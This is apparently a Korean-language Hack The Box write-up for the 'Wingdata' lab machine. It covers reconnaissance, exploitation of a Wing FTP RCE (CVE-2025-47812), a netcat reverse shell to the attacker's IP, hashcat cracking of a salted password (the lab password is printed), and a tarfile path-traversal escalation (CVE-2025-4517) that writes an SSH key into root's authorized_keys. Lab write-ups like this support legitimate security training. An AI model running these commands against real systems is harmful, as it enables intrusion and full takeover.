Wingdata

meowyeok

HTB|Jul 24, 2026|Last edited: Jul 24, 2026|
notion image

Reconnaissance

nmap -sV 10.129.10.130
notion image
 
gobuster dir -u wingdata.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60
notion image
  • 여기선 공격 포인트가 안보였다.
 
notion image
  • 그래서 웹페이지 코드를 찬찬히 보고있었는데 ftp.windata.htb 를 찾았다. (nmap을 더 잘때렸으면 이미 찾았을거다)
 
notion image
  • ftp 웹페이지 접속 화면이다.
  • 접속하자마자 Wing FTP v7.4.3 이 보였고 검색해보니 Unauthenticated RCE CVE-2025-47812 취약점이 존재하는걸 확인하였다.
 

Exploitation

python CVE-2025-47812.py -u http://ftp.wingdata.htb
notion image
  • poc코드를 실행시켜 손쉽게 셸을 따내었다.
  • 근데좀 불편해서 nc로 새로운 리버스셸을 연결했다.
 
rlwrap nc -lvnp 4444
nc -e /bin/sh 10.10.14.116 4444
notion image
  • 근데 불편한건 비슷했다..
  • 아무튼 접속한건 wingftp 유저였고, /home에는 wacky라는 유저가 있어서 여기에 붙을만한 방법이 필요했다.
  • 그래서 내부를 좀 뒤졌더니 어렵지않게 admin과 user들의 해시된 패스워드를 찾을 수 있었다.
 
notion image
notion image
  • 근데 이게 MD5가 아니고 SHA-256해시된거여서 크랙하려면 salt값이 필요해서 검색해봤다.
notion image
  • 해당 웹페이지에서 사진을 보면 기본 salt값이 WingFTP로 되있는걸 볼 수 있다.
 
hashcat -m 1410 wackey_hash.txt /usr/share/wordlists/rockyou.txt
notion image
notion image
  • hash:salt 형태로 txt파일을 만들어주고 SHA-256모드로 돌렸더니 성공했다!
  • ( wacky / !#7Blushing^*Bride5 )
 
ssh wacky@wingdata.htb
notion image
  • 얻어낸 비밀번호로 바로 ssh에 붙어보니 연결되었다.
  • user flag 획득!!

Privilege Escalation

sudo -l
notion image
  • /opt/backup_clients/restore_backup_clients.py 를 아무 인수나 붙여서 root권한으로 실행할 수 있었다.
 
  • BACKUP_BASE_DIR, STAGING_BASE 에서 조작해서 공격하나 싶었지만 모두 쓰기 권한은 없었다.
notion image
  • 압축하기 전에 권한을 전부 다줘놓고 압축한뒤에 풀면 다시 원상태로 돌아온다. 아마 이부분 때문인거 같다. tar.extractall(path=staging_dir, filter="data")
  • linpeas도 돌려봤는데 별게 없었다.
  • tar.extractall(filter=”data”) 키워드를 가지고 구글링을 해보았는데 단서를 찾았다.
  • CVE-2025-4517
    • 원래 tarfile.extractall(filter="data") 함수는 path traversal를 필터링해 예방하고 있었다.
    • 그러나 os.path.realpath(strict=False) 함수에서의 버그로 완전히 우회가 가능해졌다.
    • PATH_MAX (4096 bytes on Linux) 길이를 초과하면 해당 함수는 심링크 기반에서 문자열기반으로 경로를 해석하기 시작한다. 이 특성을 활용해서 path traversal을 일으키는것.
  • 여기서 활용한 poc는 root/.ssh/authorized_keys 경로에 비밀번호 없이 생성한 키를 밀어넣어 root에 ssh로 붙을 수 있게끔 활용한다.
 
  • 위와같이 타겟에 맞춰 값을 넣어주고 생성한 tar파일을 타겟 서버로 가져간다.
 
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_99.tar -r restore_pwn
notion image
  • 그리고 다음과같이 sudo 명령어로 root의 권한으로 실행시켜준다.
  • 그럼 앞서 언급한 취약점이 발현되어 root의 ssh 허용키에 내가 임의로 만들었던 키가 들어갈것이다.
 
ssh -i root_key root@10.129.15.202
notion image
  • 해당 키를 사용해서 root로의 ssh 연결에 성공한것을 볼 수 있다.
  • root flag 획득!
Loading...